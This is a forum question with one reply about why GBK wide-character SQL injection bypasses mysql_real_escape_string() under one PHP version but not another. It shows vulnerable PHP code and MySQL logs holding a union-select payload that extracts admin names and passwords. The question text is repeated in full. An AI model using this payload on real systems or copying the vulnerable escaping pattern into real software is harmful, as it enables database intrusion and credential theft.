It was found that mysql_real_escape_string() behaves differently in different php versions. When I read security development documents online, the document said that before using mysql_real_escape_string() correctly, you need to specify the mysql connection character set, that is, use the mysql_set_charset() function. If the character set is not specified and the character encoding used is a wide character similar to GBK, it may cause Wide character injection.
Here I did a small experiment. I only used mysql_real_escape_string() and did not use the mysql_set_charset() function to specify the current connection character set. When the PHP version is 5.2.17, the wide character injection can be successful; when the PHP version is 5.3 At .29, wide character injection failed. Check the mysql log and it shows that wide characters have also been escaped.

Code:

<code>$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'GBK'");
mysql_select_db('test', $conn) OR emMsg("連接數(shù)據(jù)庫(kù)失敗，未找到您填寫(xiě)的數(shù)據(jù)庫(kù)");
if(get_magic_quotes_gpc()){
    $id = isset($_GET['id']) ? mysql_real_escape_string(stripslashes($_GET['id'])) : 1;
}else{
    $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;
}
//執(zhí)行sql語(yǔ)句
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
?></code>

mysql log when using php version 5.2.17:

<code>            2 Query    SET NAMES 'GBK'
            2 Init DB    test
            2 Query    SELECT * FROM news WHERE tid='-1?' union select null,concat(name,0x40,pass),null from admin#'
            2 Quit</code>

mysql log when using php version 5.3.29:

<code>      1 Query    SET NAMES 'GBK'
            1 Init DB    test
            1 Query    SELECT * FROM news WHERE tid='-1\?' union select null,concat(name,0x40,pass),null from admin#'
            1 Quit    </code>

My question here is, is it not necessary to use mysql_set_charset() to specify the connection character set when the PHP version is 5.3.29? How to judge if it is not needed! ! ! !

Reply content:

It was found that mysql_real_escape_string() behaves differently in different php versions. When I read security development documents online, the document said that before using mysql_real_escape_string() correctly, you need to specify the mysql connection character set, that is, use the mysql_set_charset() function. If the character set is not specified and the character encoding used is a wide character similar to GBK, it may cause Wide character injection.
Here I did a small experiment. I only used mysql_real_escape_string() and did not use the mysql_set_charset() function to specify the current connection character set. When the PHP version is 5.2.17, the wide character injection can be successful; when the PHP version is 5.3 At .29, wide character injection failed. Check the mysql log and it shows that wide characters have also been escaped.

Code:

<code>$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'GBK'");
mysql_select_db('test', $conn) OR emMsg("連接數(shù)據(jù)庫(kù)失敗，未找到您填寫(xiě)的數(shù)據(jù)庫(kù)");
if(get_magic_quotes_gpc()){
    $id = isset($_GET['id']) ? mysql_real_escape_string(stripslashes($_GET['id'])) : 1;
}else{
    $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;
}
//執(zhí)行sql語(yǔ)句
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
?></code>

mysql log when using php version 5.2.17:

<code>            2 Query    SET NAMES 'GBK'
            2 Init DB    test
            2 Query    SELECT * FROM news WHERE tid='-1?' union select null,concat(name,0x40,pass),null from admin#'
            2 Quit</code>

mysql log when using php version 5.3.29:

<code>      1 Query    SET NAMES 'GBK'
            1 Init DB    test
            1 Query    SELECT * FROM news WHERE tid='-1\?' union select null,concat(name,0x40,pass),null from admin#'
            1 Quit    </code>

My question here is, is it not necessary to use mysql_set_charset() to specify the connection character set when the PHP version is 5.3.29? How to judge if it is not needed! ! ! !

This has nothing to do with the PHP version. The mysql and mysqli extensions are developed directly using C language, and the third-party library of mysql is also provided through the C API.

So, this should be related to the version of mysql.dll, which is the version of mysql lib.

The extended version of mysql can be obtained using the mysql_get_client_info() function.

As for your question, you can refer to the MySQL developer manual: 23.8.7.53 mysql_real_escape_string()